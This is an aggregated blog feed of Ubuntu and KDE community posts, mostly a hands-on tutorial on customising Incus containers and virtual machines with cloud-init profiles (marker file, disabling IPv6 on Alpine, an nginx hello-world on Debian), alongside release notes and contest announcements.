<li>Added support for riscv64 hardware.</li>
<li>Bug triaging and several fixes!</li>
<li>I am working on Kubuntu branded Plasma-Welcome, Orca support and much more!</li>
<li>Aaron and the <a data-id="kfocus.org" data-type="link" href="http://kfocus.org">Kfocus</a> team has been doing some amazing work getting Calamares perfected for release! Thank you!</li>
<li>Rick has been working hard on revamping kubuntu.org, stay tuned! Thank you!</li>
<li>I have added several more apparmor profiles for packages affected by <a href="https://bugs.launchpad.net/ubuntu/+source/kgeotag/+bug/2046844">https://bugs.launchpad.net/ubuntu/+source/kgeotag/+bug/2046844</a></li>
<li>I have aligned our meta package to adhere to <a href="https://community.kde.org/Distributions/Packaging_Recommendations">https://community.kde.org/Distributions/Packaging_Recommendations</a> and will continue to apply the rest of the fixes suggested there. Thanks for the tip Nate!</li>
</ul>
<p>We have a branding contest! Please do enter, there are some exciting prizes <a href="https://kubuntu.org/news/kubuntu-graphic-design-contest/">https://kubuntu.org/news/kubuntu-graphic-design-contest/</a></p>
<p><strong>Debian:</strong></p>
<p>I have uploaded to NEW the following packages:</p>
<ul>
<li>kde-inotify-survey</li>
<li>plank-player</li>
<li>aura-browser</li>
</ul>
<p>I am currently working on:</p>
<ul>
<li>alligator</li>
<li>xwaylandvideobridge</li>
</ul>
<p><strong>KDE Snaps:</strong></p>
<p>KDE applications 23.08.5 have been uploaded to Candidate channel, testing help welcome. <a href="https://snapcraft.io/search?q=KDE">https://snapcraft.io/search?q=KDE</a> I have also working on bug fixes, time allowing.</p>
<p>My continued employment depends on you, please consider a donation! <a href="https://kubuntu.org/donate/">https://kubuntu.org/donate/</a></p>
<p>Thank you for stopping by!</p>
<p>~Scarlett</p>2024-02-23T11:42:51+00:00sgmooreLubuntu Blog: Lubuntu 22.04.4 LTS is Released!
https://lubuntu.me/lubuntu-22-04-4-lts-is-released/
Thanks to all the hard work from our contributors, Lubuntu 22.04.4 LTS has been released. With the codename Jammy Jellyfish, Lubuntu 22.04 is the 22nd release of Lubuntu, the eighth release of Lubuntu with LXQt as the default desktop environment. Support lifespan Lubuntu 22.04 LTS will be supported for 3 years until April 2025. Our […]2024-02-22T20:23:51+00:00Aaron RainboltDavid Mohammed: Ubuntu Budgie 22.04.4 LTS Released!
https://ubuntubudgie.org/2024/02/ubuntu-budgie-22-04-4-lts-released/
<p>We are pleased to announce the release of the next version of our distro, the fourth 22.04 LTS point release. The LTS version is supported for 3 years while the regular releases are supported for 9 months. The new release rolls-up various fixes and optimizations by Ubuntu Budgie team, that have been released since the 22.04.3 release in August: For the adventurous among our community we…</p>
<p><a href="https://ubuntubudgie.org/2024/02/ubuntu-budgie-22-04-4-lts-released/" rel="nofollow">Source</a></p>2024-02-22T18:15:35+00:00DavidJonathan Riddell: Oxygen Icons 6 Released
https://jriddell.org/2024/02/21/oxygen-icons-6-released/
<p>Oxygen Icons is an icon theme for use with any XDG compliant app and desktop.</p>
<p>It is part of KDE Frameworks 6 but is now released independently to save on resources.</p>
<p>This 6.0.0 release requires to be built with extra-cmake-modules from KF 6 which is not yet released, distros may want to wait until next week before building it.</p>
<p>Distros which ship this version can drop the version released as part of KDE Frameworks 5.</p>
<p><strong>sha256</strong>: 28ec182875dcc15d9278f45ced11026aa392476f1f454871b9e2c837008e5774</p>
<p><strong>URL</strong>: <a href="https://download.kde.org/stable/oxygen-icons/">https://download.kde.org/stable/oxygen-icons/</a></p>
<p><strong>Signed by</strong> E0A3EB202F8E57528E13E72FD7574483BB57B18D Jonathan Esk-Riddell <<a href="mailto:jr@jriddell.org" rel="noreferrer noopener" target="_blank">jr@jriddell.org</a>><br /><a href="https://jriddell.org/esk-riddell.gpg" rel="noreferrer noopener" target="_blank">https://jriddell.org/esk-riddell.gpg</a></p>
<figure class="wp-block-image"><a href="https://jriddell.org/wp-content/uploads/2023/11/image-2.png"><img alt="" class="wp-image-1501" height="836" src="https://jriddell.org/wp-content/uploads/2023/11/image-2.png" width="1001" /></a></figure>2024-02-21T10:20:19+00:00site adminUbuntu Studio: Ubuntu Studio 24.04 LTS Wallpaper Competition
https://ubuntustudio.org/2024/02/ubuntu-studio-24-04-lts-wallpaper-competition/
<div class="wp-block-image"><figure class="aligncenter size-full is-resized"><img alt="" class="wp-image-2710" height="360" src="https://ubuntustudio.org/wp-content/uploads/2024/02/2142/wallpapercompetition.png" width="640" /></figure></div>
<h2>It’s Been <s>Eighty</s> Four Years…</h2>
<p>For the first time in four years, Ubuntu Studio is opening up a wallpaper competition! While the default wallpaper will, once again, be designed by Ubuntu Studio art lead <strong>Eylul</strong> but we need <strong>your</strong> help to fill create a truly wonderful collection of unique wallpapers!</p>
<p>For more details, visit our post on the <a href="https://discourse.ubuntu.com/t/ubuntu-studio-24-04-wallpaper-competition/42528">Ubuntu Discourse</a>!</p>2024-02-16T19:16:56+00:00eeickmeyerSimos Xenitellis: How to customize Incus containers with cloud-init
https://blog.simos.info/how-to-customize-incus-containers-with-cloud-init/
<p><a href="https://linuxcontainers.org/incus/">Incus</a> is a manager for virtual machines and system containers. There is also <a href="https://discuss.linuxcontainers.org/">an Incus support forum</a>.</p>
<p>A <strong>virtual machine</strong> (VM) is an instance of an operating system that runs on a computer, along with the main operating system. A virtual machine uses hardware virtualization features for the separation from the main operating system. With virtual machines, the full operating system boots up in them. You can use <code>cloud-init</code> to customize virtual machines that are launched with Incus.</p>
<p>A <strong>system container</strong> is an instance of an operating system that also runs on a computer, along with the main operating system. A system container, instead, uses security primitives of the Linux kernel for the separation from the main operating system. You can think of system containers as <em>software virtual machines</em>. System containers reuse the running Linux kernel of the host, therefore you can only have Linux system containers, <a href="https://images.linuxcontainers.org/">any Linux distribution</a>. You can use <code>cloud-init</code> to customize system containers that are launched with Incus. </p>
<p>In this post we see how to use <a href="https://cloud-init.io/">cloud-init</a> to customize Incus virtual machines and system containers. When you launch such an instance, they will be immediately customized to your liking and ready to use.</p>
<h2 class="wp-block-heading" id="prerequisites">Prerequisites</h2>
<ol>
<li><a href="https://linuxcontainers.org/incus/docs/main/installing/">You have installed Incus</a> or <a href="https://linuxcontainers.org/incus/docs/main/howto/server_migrate_lxd/">you have migrated from LXD</a>.</li>
<li>The container images that have a <code>cloud</code> variant are the ones that have support for <a href="https://cloud-init.io/">cloud-init</a>. Have a look at <a href="https://images.linuxcontainers.org/" rel="noreferrer noopener" target="_blank">https://images.linuxcontainers.org/</a> and check that your favorite container image has a <em>cloud</em> variant in the <strong><em>Variant</em></strong> column.</li>
</ol>
<p>You can also view which images have <code>cloud-init</code> support by running the following command. The command performs an <code>image list</code> for images on the <code>images:</code> remote, by matching the string <code>cloud</code> anywhere in their name.</p>
<pre class="wp-block-code"><code><kbd>incus image list images:cloud</kbd></code></pre>
<h2 class="wp-block-heading" id="managing-profiles-in-incus">Managing profiles in Incus</h2>
<p>Incus has profiles, and these are used to group together configuration options. See <a href="https://linuxcontainers.org/incus/docs/main/profiles/">how to use profiles in Incus</a>.</p>
<p>When you launch a system container or a virtual machine, Incus uses by default the <code>default</code> profile for the configuration. </p>
<p>Let’s <strong><em>show</em></strong> this profile. The <code>config</code> section is empty and in this section we will be doing later the <code>cloud-init</code> stuff. There are two <code>devices</code>, the <code>eth0</code> network device (because it is of type <code>nic</code>) which is served by the <code>incusbr0</code> network bridge. If you migrated from LXD, it might be called <code>lxdbr0</code>. Then, there is the <code>root</code> disk device (because it is of type <code>disk</code>) which is served by the <code>default</code> storage pool. You can dig for more with <code>incus network list</code> and <code>incus storage list</code>.</p>
<pre class="wp-block-code"><code>$ <kbd>incus profile show default</kbd>
config: {}
description: Default Incus profile
devices:
eth0:
name: eth0
network: incusbr0
type: nic
root:
path: /
pool: default
type: disk
name: default
used_by:
....
$ </code></pre>
<p>You can perform many actions on Incus profiles. Here is the list of commands. </p>
<pre class="wp-block-code"><code>$ <kbd>incus profile </kbd>
Usage:
incus profile [flags]
incus profile [command]
Available Commands:
add Add profiles to instances
assign Assign sets of profiles to instances
copy Copy profiles
create Create profiles
delete Delete profiles
device Manage devices
edit Edit profile configurations as YAML
get Get values for profile configuration keys
list List profiles
remove Remove profiles from instances
rename Rename profiles
set Set profile configuration keys
show Show profile configurations
unset Unset profile configuration keys
Global Flags:
--debug Show all debug messages
--force-local Force using the local unix socket
-h, --help Print help
--project Override the source project
-q, --quiet Don't show progress information
--sub-commands Use with help or --help to view sub-commands
-v, --verbose Show all information messages
--version Print version number
Use "incus profile [command] --help" for more information about a command.
$ </code></pre>
<h2 class="wp-block-heading" id="creating-a-profile-for-cloudinit">Creating a profile for <code>cloud-init</code></h2>
<p>We are going to <strong><em>create</em></strong> a new profile, not a fully-fledged profile, that has just the <code>cloud-init</code> configuration. Then, when we are about to use the profile, we will specify that new profile along with the <code>default</code> profile. By doing so, we are not messing with the <code>default</code> profile; we keep them separate and tidy.</p>
<pre class="wp-block-code"><code>$ <kbd>incus profile create cloud-dev</kbd>
Profile cloud-dev created
$ <kbd>incus profile show cloud-dev</kbd>
config: {}
description: ""
devices: {}
name: cloud-dev
used_by: []
$ </code></pre>
<p>We want to insert the following <code>cloud-init</code> configuration. If you are viewing the following from my blog, you will notice that there is a gray background color for the text. That is important so that there are no extra spaces at the end of the lines. That would cause formatting issues later on. The <code>cloud-init.user-data</code> part says that the next will be about <code>cloud-init</code>. The <code>|</code> character at the end of the line is very significant. It means that until the end of this field, all commands should be kept verbatim. Whatever appears there, will be injected into the instance as soon as it starts, at the proper location for <strong><em>cloud-init</em></strong>. When the instance is starting for the first time, it will start <em><strong>the cloud-init service</strong></em> which will look for the injected commands and process them accordingly. In this example, <a href="https://cloudinit.readthedocs.io/en/latest/reference/modules.html#runcmd">we use <code>runcmd</code></a> to run the <code>touch</code> command and create the file <code>/tmp/simos_was_here</code>. We just want some evidence that <strong><em>cloud-init</em></strong> actually worked.</p>
<pre class="wp-block-code"><code> cloud-init.user-data: |
#cloud-config
runcmd:
- [touch, /tmp/simos_was_here]</code></pre>
<p>We need to open the profile for <strong><em>edit</em></strong>ing, then paste the configuration. When you run the following line, a text editor will open (likely <code>pico</code>) and you can paste the above text in the <code>config</code> section. Remove the <code>{}</code> from the <code>config: {}</code> line.</p>
<pre class="wp-block-code"><code>$ <kbd>incus profile edit cloud-dev</kbd></code></pre>
<p>Here is how the <code>cloud-dev</code> profile should look like in the end. The command has a certain format. It’s a list of items, the first being the actual command to run (<code>touch</code>), and the second the argument to the command. It’s going to run <code>touch /tmp/simos_was_here</code> and should work with all distributions. </p>
<pre class="wp-block-code"><code>$ <kbd>incus profile show cloud-dev</kbd>
config:
cloud-init.user-data: |
#cloud-config
runcmd:
- [touch, /tmp/simos_was_here]
description: ""
devices: {}
name: cloud-dev
used_by: []
$ </code></pre>
<p>Now we are ready to launch a container. </p>
<h2 class="wp-block-heading" id="launching-an-incus-container-with-cloudinit">Launching an Incus container with <code>cloud-init</code></h2>
<p>Alpine is a lightweight Linux distribution. Let’s see what’s in store for Alpine images that have <code>cloud</code> support. Using <strong><em>incus image</em></strong> (for Incus image-related commands) we want to <strong><em>list</em></strong> the available ones from the <code>images:</code> remote, and filter for <code>alpine</code> and <code>cloud</code>. Whatever comes after the remote (i.e. <code>images:</code>), is a filter word. </p>
<pre class="wp-block-code"><code><kbd>incus image list images: alpine cloud</kbd></code></pre>
<p>Here is the full output. I appended <code>--columns ldt</code> to the command, which shows only three columns, <strong><em>l</em></strong> for shortest a<strong><em>l</em></strong>ias, <strong><em>d</em></strong> for <strong><em>d</em></strong>escription, and <strong><em>t</em></strong> for image <strong><em>t</em></strong>ype (either container or virtual machine). Without the columns, the output would be too wide and would not fit in my blog’s narrow width.</p>
<pre class="wp-block-code"><code>$ <kbd>incus image list images: alpine cloud --columns ldt</kbd>
+----------------------------+------------------------------------+-----------------+
| ALIAS | DESCRIPTION | TYPE |
+----------------------------+------------------------------------+-----------------+
| alpine/3.16/cloud (1 more) | Alpine 3.16 amd64 (20240202_13:00) | CONTAINER |
+----------------------------+------------------------------------+-----------------+
| alpine/3.16/cloud (1 more) | Alpine 3.16 amd64 (20240202_13:00) | VIRTUAL-MACHINE |
+----------------------------+------------------------------------+-----------------+
| alpine/3.16/cloud/arm64 | Alpine 3.16 arm64 (20240202_13:00) | CONTAINER |
+----------------------------+------------------------------------+-----------------+
| alpine/3.16/cloud/arm64 | Alpine 3.16 arm64 (20240202_13:00) | VIRTUAL-MACHINE |
+----------------------------+------------------------------------+-----------------+
| alpine/3.17/cloud (1 more) | Alpine 3.17 amd64 (20240202_13:00) | CONTAINER |
+----------------------------+------------------------------------+-----------------+
| alpine/3.17/cloud (1 more) | Alpine 3.17 amd64 (20240202_13:00) | VIRTUAL-MACHINE |
+----------------------------+------------------------------------+-----------------+
| alpine/3.17/cloud/arm64 | Alpine 3.17 arm64 (20240202_13:00) | CONTAINER |
+----------------------------+------------------------------------+-----------------+
| alpine/3.17/cloud/arm64 | Alpine 3.17 arm64 (20240202_13:00) | VIRTUAL-MACHINE |
+----------------------------+------------------------------------+-----------------+
| alpine/3.18/cloud (1 more) | Alpine 3.18 amd64 (20240202_13:00) | CONTAINER |
+----------------------------+------------------------------------+-----------------+
| alpine/3.18/cloud (1 more) | Alpine 3.18 amd64 (20240202_13:00) | VIRTUAL-MACHINE |
+----------------------------+------------------------------------+-----------------+
| alpine/3.18/cloud/arm64 | Alpine 3.18 arm64 (20240202_13:00) | CONTAINER |
+----------------------------+------------------------------------+-----------------+
| alpine/3.18/cloud/arm64 | Alpine 3.18 arm64 (20240202_13:00) | VIRTUAL-MACHINE |
+----------------------------+------------------------------------+-----------------+
| alpine/3.19/cloud (1 more) | Alpine 3.19 amd64 (20240202_13:00) | CONTAINER |
+----------------------------+------------------------------------+-----------------+
| alpine/3.19/cloud (1 more) | Alpine 3.19 amd64 (20240202_13:00) | VIRTUAL-MACHINE |
+----------------------------+------------------------------------+-----------------+
| alpine/3.19/cloud/arm64 | Alpine 3.19 arm64 (20240202_13:00) | CONTAINER |
+----------------------------+------------------------------------+-----------------+
| alpine/3.19/cloud/arm64 | Alpine 3.19 arm64 (20240202_13:00) | VIRTUAL-MACHINE |
+----------------------------+------------------------------------+-----------------+
| alpine/edge/cloud (1 more) | Alpine edge amd64 (20240202_13:00) | CONTAINER |
+----------------------------+------------------------------------+-----------------+
| alpine/edge/cloud (1 more) | Alpine edge amd64 (20240202_13:00) | VIRTUAL-MACHINE |
+----------------------------+------------------------------------+-----------------+
| alpine/edge/cloud/arm64 | Alpine edge arm64 (20240202_13:00) | CONTAINER |
+----------------------------+------------------------------------+-----------------+
| alpine/edge/cloud/arm64 | Alpine edge arm64 (20240202_13:00) | VIRTUAL-MACHINE |
+----------------------------+------------------------------------+-----------------+
$ </code></pre>
<p>I am going to use <code>alpine/3.19/cloud</code>. Alpine 3.19 was released in December 2023, so it’s a fairly recent version. The same version is also available as a virtual machine image which is handy. We could easily use the virtual machine version simply by adding <code>--vm</code> when we launch the image through <code>incus launch</code>. The rest would be the same. In the following we will be creating a container image. </p>
<p>In the following, I launch the cloud variety of the Alpine 3.19 image (<code>images:alpine/3.19/cloud</code>), I give it the name <code>myalpine</code>, and I apply both the <code>default</code> and <code>cloud-dev</code> Incus profiles. Why apply the <code>default</code> Incus profile as well? Because when we specify a profile, Incus does not add the <code>default</code> profile by default (see what I did here?). Therefore, we specify first the <code>default</code> profile, then the new <code>cloud-dev</code> profile. If the <code>default</code> profile had some configuration in the <code>config:</code> section, then the new <code>cloud-dev</code> profile would mask (hide) it. The <strong><em>cloud-init</em></strong> configuration is not merged among profiles; the last profile in the list overwrites any previous <strong><em>cloud-init</em></strong> configuration. Then, we get a <strong><em>shell</em></strong> into the container, and check that the file has been created in <code>/tmp</code>. Finally, we <strong><em>exit</em></strong>, <strong><em>stop</em></strong> the container and <strong><em>delete</em></strong> it. Nice and clean.</p>
<pre class="wp-block-code"><code>$ <kbd>incus launch images:alpine/3.19/cloud myalpine --profile default --profile cloud-dev</kbd>
Launching myalpine
$ <kbd>incus shell myalpine</kbd>
myalpine:~# <kbd>ls -l /tmp/</kbd>
total 1
-rw-r--r-- 1 root root 0 Feb 3 12:02 simos_was_here
myalpine:~# <kbd>exit</kbd>
$ <kbd>incus stop myalpine</kbd>
$ <kbd>incus delete myalpine</kbd>
$ </code></pre>
<h2 class="wp-block-heading" id="case-study-disable-ipv6-addresses-in-container">Case study: Disable IPv6 addresses in container</h2>
<p>The ultimate purpose of <strong><em>cloud-init</em></strong> is to provide customization while at the same time stick with standard container images as they are provided by the <code>images:</code> remote. The alternative to <strong><em>cloud-init</em></strong> would be to create a whole custom range images with our desired changes. In this case study, we are going to create a <strong><em>cloud-init</em></strong> configuration that disables IPv6 in Alpine containers (and virtual machines). The motivation of this, was <a href="https://discuss.linuxcontainers.org/t/lxc-containers-randomly-stop-getting-ipv4-dhcp-addresses/18910/3?u=simos">a request by a user from the Incus discussion and support forum</a>. Read over there how you would manually disable IPv6 in an Alpine container. </p>
<p>Here are the <strong><em>cloud-init</em></strong> instructions that disable IPv6 in a Alpine container or virtual machine. Alpine gets an IP address from DHCP which includes IPv4 and IPv6 addresses. At some point early in the boot process, we use the <code><a href="https://cloudinit.readthedocs.io/en/latest/reference/modules.html#bootcmd">bootcmd</a></code> module to run commands. We add a configuration to the <code>sysctl</code> service to disable IPv6. Then, we enable the <code>sysctl</code> service because it is disabled by default in AlpineLinux. Finally, we restart the service in order to apply the configuration we just added. </p>
<pre class="wp-block-code"><code> cloud-init.user-data: |
#cloud-config
bootcmd:
- echo "net.ipv6.conf.all.disable_ipv6 = 1" > /etc/sysctl.d/10-disable-ipv6.conf
- rc-update add sysctl default
- rc-service sysctl restart</code></pre>
<p>Here we test out the new Incus profile with <code>cloud-init</code> to disable IPv6 in a container. There is no IPv6 address in the container. </p>
<pre class="wp-block-code"><code>$ <kbd>incus launch images:alpine/3.19/cloud myalpine --profile default --profile cloud-alpine-noipv6</kbd>
Launching myalpine
$ <kbd>incus list myalpine</kbd>
+----------+---------+--------------------+------+-----------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+----------+---------+--------------------+------+-----------+-----------+
| myalpine | RUNNING | 10.10.10.44 (eth0) | | CONTAINER | 0 |
+----------+---------+--------------------+------+-----------+-----------+
$ <kbd>incus stop myalpine</kbd>
$ <kbd>incus delete myalpine</kbd>
$ </code></pre>
<p>We tried with a system container. How about a virtual machine? Let’s try the same with a virtual machine. The same command but with <code>--vm</code> added to it. We get an issue that the AlpineLinux image cannot work with Secure Boot. Incus provides an environment that offers Secure Boot but AlpineLinux cannot work with it. Therefore, we instruct Incus not to offer Secure Boot. </p>
<pre class="wp-block-code"><code>$ <kbd>incus launch images:alpine/3.19/cloud myalpine --vm --profile default --profile cloud-alpine-noipv6</kbd>
Launching myalpine
Error: Failed instance creation: The image used by this instance is incompatible with secureboot. Please set security.secureboot=false on the instance
$ <kbd>incus delete --force myalpine</kbd>
$ <kbd>incus launch images:alpine/3.19/cloud myalpine --vm --profile default --profile cloud-alpine-noipv6 --config security.secureboot=false</kbd>
Launching myalpine
$ <kbd>incus list myalpine</kbd>
+----------+---------+--------------------+------+-----------------+-----------+
| NAME | STATE | IPV4 | IPV6 | TYPE | SNAPSHOTS |
+----------+---------+--------------------+------+-----------------+-----------+
| myalpine | RUNNING | 10.10.10.88 (eth0) | | VIRTUAL-MACHINE | 0 |
+----------+---------+--------------------+------+-----------------+-----------+
$ <kbd>incus stop myalpine</kbd>
$ <kbd>incus delete myalpine</kbd>
$ </code></pre>
<h2 class="wp-block-heading" id="case-study-launching-a-debian-instance-with-a-web-server">Case study: Launching a Debian instance with a Web server</h2>
<p>A common task when using Incus, is to launch an instance, install a Web server, modify the default HTML file to say <strong><em>Hello, world!</em></strong>, and finally view the file using the host’s Web browser. Instead of doing all these steps manually, we automate them. </p>
<p>In this example, when the instance is launched, Incus places the <code>cloud-init</code> instructions in the file <code>/var/lib/cloud/seed/nocloud-net/user-data</code>. The <code>cloud-init</code> service in the instance is started. The following Incus profile uses more advanced <strong><em>cloud-init</em></strong> commands. It performs a package update, then a package upgrade, and finally it would reboot if the package upgrade requires it. We do not need to specify which command would perform the package update or upgrade because <strong><em>cloud-init</em></strong> can deduce them from the running system. Next, it installs the <code>nginx</code> package. Finally, our custom script is created in <code>/var/lib/cloud/scripts/per-boot/edit-nginx-index.sh</code>. The <code>cloud-init</code> service run the <code>edit-nginx-index.sh</code> script, which modifies the <code>/var/www/html/index.nginx-debian.html</code> file, which is the default HTML file for <a href="https://www.nginx.com/">nginx</a> in Debian.</p>
<pre class="wp-block-code"><code>$ <kbd>incus profile create cloud-debian-helloweb</kbd>
Profile cloud-debian-helloweb created
$ <kbd>incus profile edit cloud-debian-helloweb</kbd>
<furiously editing the cloud-init section>
$ <kbd>incus profile show cloud-debian-helloweb</kbd>
config:
cloud-init.user-data: |
#cloud-config
package_update: true
package_upgrade: true
package_reboot_if_required: true
packages:
- nginx
write_files:
- path: /var/lib/cloud/scripts/per-boot/edit-nginx-index.sh
permissions: 0755
content: |
#!/bin/bash
sed -i 's/Welcome to nginx/Welcome to Incus/g' /var/www/html/index.nginx-debian.html
sed -i 's/Thank you for using nginx/Thank you for using Incus/g' /var/www/html/index.nginx-debian.html
description: ""
devices: {}
name: cloud-debian-helloweb
used_by: []
$ </code></pre>
<p>Let’s test these in a Debian system container. </p>
<pre class="wp-block-code"><code>$ <kbd>incus launch images:debian/12/cloud mydebian --profile default --profile cloud-debian-helloweb</kbd>
Launching mydebian
$ <kbd>incus list mydebian --columns ns4t</kbd>
+----------+---------+---------------------+-----------+
| NAME | STATE | IPV4 | TYPE |
+----------+---------+---------------------+-----------+
| mydebian | RUNNING | 10.10.10.120 (eth0) | CONTAINER |
+----------+---------+---------------------+-----------+
$ </code></pre>
<p>Open up the above IP address in your favorite Web browser. Note that the home page now has two references to Incus, thanks to the changes that we did through <strong><em>cloud-init</em></strong>.</p>
<figure class="wp-block-image size-full"><a href="https://i0.wp.com/blog.simos.info/wp-content/uploads/2024/02/Untitled-1.png?ssl=1"><img alt="" class="wp-image-45628" data-attachment-id="45628" data-comments-opened="1" data-image-caption="" data-image-description="" data-image-meta="{"aperture":"0","credit":"","camera":"","caption":"","created_timestamp":"0","copyright":"","focal_length":"0","iso":"0","shutter_speed":"0","title":"","orientation":"0"}" data-image-title="Untitled-1" data-large-file="https://i0.wp.com/blog.simos.info/wp-content/uploads/2024/02/Untitled-1.png?fit=750%2C323&ssl=1" data-medium-file="https://i0.wp.com/blog.simos.info/wp-content/uploads/2024/02/Untitled-1.png?fit=300%2C129&ssl=1" data-orig-file="https://i0.wp.com/blog.simos.info/wp-content/uploads/2024/02/Untitled-1.png?fit=814%2C351&ssl=1" data-orig-size="814,351" data-permalink="https://blog.simos.info/how-to-customize-incus-containers-with-cloud-init/untitled-1/" data-recalc-dims="1" height="323" src="https://i0.wp.com/blog.simos.info/wp-content/uploads/2024/02/Untitled-1.png?resize=750%2C323&ssl=1" width="750" /></a></figure>
<p>For completeness, the same with a Debian virtual machine. In this case, we just add <code>--vm</code> in the <code>incus launch</code> command line and all the rest are the same. The Debian VM image works with Secure Boot. When you get the IP address, open up the page in your favorite Web browser. Note that since this is a virtual machine, the network device is not <code>eth0</code> but a normal-looking network device. </p>
<pre class="wp-block-code"><code>$ <kbd>incus stop mydebian</kbd>
$ <kbd>incus delete mydebian</kbd>
$ <kbd>incus launch images:debian/12/cloud mydebian --vm --profile default --profile cloud-debian-helloweb</kbd>
Launching mydebian
<wait for 10-20 seconds because virtual machines take more time to setup>
$ <kbd>incus list mydebian --columns ns4t</kbd>
+----------+---------+------------------------+-----------------+
| NAME | STATE | IPV4 | TYPE |
+----------+---------+------------------------+-----------------+
| mydebian | RUNNING | 10.10.10.110 (enp5s0) | VIRTUAL-MACHINE |
+----------+---------+------------------------+-----------------+
$ </code></pre>
<h2 class="wp-block-heading" id="summary">Summary</h2>
<p>We have seen how to use the <code>cloud</code> Incus images, both for containers and virtual machines. They provide customization to the Incus instances and it helps you to get them configured to your liking from the start. </p>
<p><strong><em>cloud-init</em></strong> offers a lot of opportunity for customization. Normally you would setup the Incus instance manually to your liking, and then interpret your changes into <strong><em>cloud-init</em></strong> commands. </p>
<h2 class="wp-block-heading" id="bonus-content-1-cloudinit-from-commandline">Bonus content #1: Cloud-init from command-line</h2>
<p><a href="https://discuss.linuxcontainers.org/t/share-a-custom-image-with-team-for-testing-purposes/18930/9?u=simos">You can also pass</a> the <code>cloud-init</code> configuration through the command-line at the moment of the creation of the instance. That is, you can even use <code>cloud-init</code> in Incus without a profile!</p>
<p>Here is the very first example of this tutorial.</p>
<pre class="wp-block-preformatted"> cloud-init.user-data: |
#cloud-config
runcmd:
- [touch, /tmp/simos_was_here</pre>
<p>We remove the first line and keep the rest. We save as a file with filename, for example, <code>cloud-simos.yml</code>.</p>
<pre class="wp-block-preformatted"> #cloud-config
runcmd:
- [touch, /tmp/simos_was_here</pre>
<p>Next, we can launch an instance with the following syntax. We use the <code>--config</code> parameter to set the key <code>cloud-init.user-data</code> to the content of the, in this example, <code>cloud-simos.yml</code> file. The syntax <code>$(<em>command</em>)</code> is a syntax of the Bash shell. Most likely it is supported in other shells. If you use automation, verify that the <em>shell</em> supports this syntax.</p>
<pre class="wp-block-code"><code><kbd>incus launch images:alpine/3.19/cloud alpine --config=cloud-init.user-data="$(cat cloud-simos.yml)"</kbd></code></pre>
<h2 class="wp-block-heading" id="bonus-content-2">Bonus content #2</h2>
<p>There are two configurable keys in <code>cloud-init</code>. </p>
<ol>
<li>The <code>cloud-init.user-data</code>, meant for <a href="https://cloudinit.readthedocs.io/en/latest/explanation/format.html">user configuration</a>.</li>
<li>The <code>cloud-init.vendor-data</code>, meant for <a href="https://cloudinit.readthedocs.io/en/latest/explanation/vendordata.html">vendor configuration</a>. </li>
</ol>
<p>In our case, if we plan to use several Incus profiles with <code>cloud-init</code> configuration, it is possible to split the configuration between two profiles. The two set of configuration run separate from each other. The <code>user-data</code> are applied last.</p>
<h2 class="wp-block-heading" id="troubleshooting">Troubleshooting</h2>
<h3 class="wp-block-heading" id="error-my-cloudinit-instructions-are-all-messed-up">Error: My cloud-init instructions are all messed up!</h3>
<p>Here is what I got!</p>
<pre class="wp-block-code"><code>$ <kbd>incus profile show cloud-dev</kbd>
config:
cloud-init.user-data: "#cloud-config\nruncmd: \n - [touch, /tmp/simos_was_here]\n"
description: ""
devices: {}
name: cloud-dev
used_by: []
$ </code></pre>
<p>This happens if there are any extra spaces at the end of the <strong><em>cloud-init</em></strong> lines. <code>pico</code>, the default editor tries to help you on this. The above problem happened because there was some extra space somewhere in the <strong><em>cloud-init</em></strong> configuration. </p>
<div class="wp-block-image">
<figure class="aligncenter size-full"><a href="https://i0.wp.com/blog.simos.info/wp-content/uploads/2024/02/Screenshot-from-2024-02-03-14-26-40.png?ssl=1"><img alt="" class="wp-image-45619" data-attachment-id="45619" data-comments-opened="1" data-image-caption="" data-image-description="" data-image-meta="{"aperture":"0","credit":"","camera":"","caption":"","created_timestamp":"0","copyright":"","focal_length":"0","iso":"0","shutter_speed":"0","title":"","orientation":"0"}" data-image-title="Screenshot-from-2024-02-03-14-26-40" data-large-file="https://i0.wp.com/blog.simos.info/wp-content/uploads/2024/02/Screenshot-from-2024-02-03-14-26-40.png?fit=421%2C214&ssl=1" data-medium-file="https://i0.wp.com/blog.simos.info/wp-content/uploads/2024/02/Screenshot-from-2024-02-03-14-26-40.png?fit=300%2C152&ssl=1" data-orig-file="https://i0.wp.com/blog.simos.info/wp-content/uploads/2024/02/Screenshot-from-2024-02-03-14-26-40.png?fit=421%2C214&ssl=1" data-orig-size="421,214" data-permalink="https://blog.simos.info/how-to-customize-incus-containers-with-cloud-init/screenshot-from-2024-02-03-14-26-40/" data-recalc-dims="1" height="214" src="https://i0.wp.com/blog.simos.info/wp-content/uploads/2024/02/Screenshot-from-2024-02-03-14-26-40.png?resize=421%2C214&ssl=1" width="421" /></a>There is an extra space at the end of <code>runcmd:</code>, shown in red. Not good.</figure></div>
<p>You would need to remove the configuration and paste it again, taking care of the formatting. While editing with the <code>pico</code> text editor, there should be no red blocks at the end of the lines.</p>
<h3 class="wp-block-heading" id="how-can-i-debug-cloudinit">How can I debug <code>cloud-init</code>?</h3>
<p>When an Incus instance with <code>cloud-init</code> is launched, the <strong><em>cloud-init</em></strong> service is running, and it creates two log files, <code>/var/log/cloud-init.log</code> and <code>/var/log/cloud-init-output.log</code>.</p>
<p>Here are some relevant lines from <code>cloud-init.log</code> relating to the <code>nginx</code> example. </p>
<pre class="wp-block-code"><code>2024-02-03 19:07:09,237 - util.py[DEBUG]: Writing to /var/lib/cloud/scripts/per-boot/edit-nginx-index.sh - wb: [755] 200 bytes
...
2024-02-03 19:07:14,814 - subp.py[DEBUG]: Running command ['/var/lib/cloud/scripts/per-boot/edit-nginx-index.sh'] with allowed return codes [0] (shell=False, capture=False)
...</code></pre>
<h3 class="wp-block-heading" id="error-unable-to-connect">Error: Unable to connect</h3>
<p>If you try to open the Web server in the Incus instance and you get a browser error <strong><em>Unable to connect</em></strong>, then</p>
<ol>
<li>Verify that you got the correct IP address of the Incus instance.</li>
<li>Verify that the URL is <code>http://</code> and not <code>https://</code>. Some browsers switch automatically to <code>https</code> while in these examples we have only launched plain <code>http</code> Web servers. </li>
</ol>
